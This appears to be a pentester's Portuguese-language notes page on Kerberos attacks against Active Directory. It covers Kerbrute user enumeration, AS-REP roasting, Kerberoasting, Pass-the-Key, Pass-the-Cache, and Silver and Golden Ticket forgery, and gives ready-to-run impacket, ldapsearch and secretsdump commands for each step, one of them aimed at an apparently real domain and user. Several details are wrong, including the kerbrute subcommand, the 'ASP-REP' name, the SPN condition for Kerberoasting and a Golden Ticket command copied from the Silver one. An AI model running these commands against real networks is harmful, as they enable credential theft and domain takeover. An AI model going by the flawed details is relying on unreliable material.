Kerberos é um protocolo de autenticação em rede criado no MIT no fim dos anos 80 (Projeto Athena) e padronizado como Kerberos V5 no RFC 4120. Ele foi projetado para resolver dois problemas centrais em ambientes multiusuário: 1. Permitir “single sign-on” (SSO): o usuário digita a senha uma única vez e, a partir daí, pode acessar vários serviços sem precisar reenviar suas credenciais. 2. Evitar que senhas trafeguem pela rede: todos os segredos são protegidos por criptografia simétrica; apenas tickets e chaves de sessão circulam. ### Tipos de enumeração no Kerberos #### Kerberos Bruteforce O ataque consiste em enviar uma requisição TGT sem informar um usuário e senha do usuário. Se o usuário for válido, a AS irá retornar uma mensagem solicitando a senha do usuário ou de pre-autenticação. Para realizar esse ataque você pode usar uma ferramenta chamada Kerbrute: ``` kerbrute usernum -d DOMINIO.LOCAL -dc <IP> <Wordlist> ``` #### ASP-REP Roasting É um ataque que consiste em o obter a hash da senha de um usuário que não tem pre-autenticação habilitada. O ASP-REP Roasting funciona da seguinte forma: 1. O pentest envia uma requisição ASP-REP para o AS informando o usuário que deseja o obter o hash da senha. 2. O AS irá retornar a mensagem criptografada com a hash da senha do usuário, caso o usuário tenha habilitado o recursos de não requerer autenticação. 3. Com a hash em mãos podemos quebra-lo localmente. ```markdown # Comando para adicionar 8 horas. date --set="+8 hours" # Comando para sincronizar a hora com servidor. net time set -S ipdoservidor ``` OBS: Procurar por contas que tem o Pre-Autenticated Desabilitado usando o LDAP. ``` ldapsearch -x -H ldap://dc.exemplo.com:389 -D "[email protected]" -W -b "dc=exemplo,dc=com" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" samAccountName distinguishedName userAccountControl ``` ```markdown # Com o usuário conhecido impacket-GetNPUsers hitech.ind.br/joao.penedo -no-pass -dc-ip XXX.XXX.XXX.XXX # Com lista de usuários do SNMP impacket-GetNPUsers hitech.ind.br/ -usersfile users_snmp.txt -format hashcat -outputfile asrep_hashes.txt ``` #### Kerberoasting É um tipo de ataque que explora a funcionalidade de autenticação dos Kerberos. O objetivo da técnica é extrair hashes de senhas de contas de serviço do Active (AD) que não estão associadas a Service Principal Name (SPNs). Nesse ataque o atacante solicita tickets para todos os SPNs do AD. ![[kerberos.png]] OBS: Um dos requisitos para esse ataque é que já tenhamos uma credencial válida. ``` impacket-GetUserSPNs -request -dc-ip IP dominio.local/user:password ``` #### PassTheKey Para executar o ataque de Pass The Key você precisa de uma Secret Key (DES, RC4, AES128 ou AES256). Portanto, caso o atacante conheça a Secret Key do usuário, ele não vai precisar conhecer a senha do usuário para pedir Tickets. O comando para ser executado é: ``` GetTGT.py -aesKey 'Key' dominio/user@alvo ``` Depois é preciso criar uma variável de ambiente chamado: ``` KRB5CCNAME=/tmp/ticket.hash ``` Informando a localização do Ticket gerado. #### PassTheCache O ataque consiste em utilizar um ticket em cache para obter acesso a um serviço. Esse tipo requer acesso ao servidor e que tenha um ticket válido salvo na maquina. Para executar o ataque é necessário copiar o ticket para um arquivo e depois executar o comando impacket: ``` export KRB5CCNAME=/tmp/ticket.ccache ``` ``` impacket-psexec -k -no-pass -dc-ip IP ``` #### Silver e Golgen Ticket O Silver Ticket é um ataque que irá forjar um ticket de serviço onde será necessário conhecer o NT Hash que irá criptografar o TGS (Ticket Granting Service) para acessar o serviço. Para realizar esse ataque é necessário você conhecer: **NT Hash do Serviço**, **Domain SID** e o **Service Principal Name** (SPN). ``` ticketer.py -nthash xxxxx -domain-sid S1-S1-4-5-54 -domain dominio.local -spn CIFS/DESKT01.dominio.local fake_user ``` ``` export KRB5CCNAME=/tmp/ticket.ccache ``` ``` psexec.py -k DESKT01.dominio.local ``` Já o Golden Ticket será possível forjar um ticket para qualquer usuário e acessar qualquer serviço. Para isso é necessário conhecer o NT HASH do usuário KRBTGT. ``` ticketer.py -nthash xxxxx -domain-sid S1-S1-4-5-54 -domain dominio.local -spn CIFS/DESKT01.dominio.local fake_user ``` ``` export KRB5CCNAME=/tmp/ticket.ccache ``` ``` secretsdump.py -k dc01.dominio.local -just-dc-ntlm -just-dc-user krbtgt ```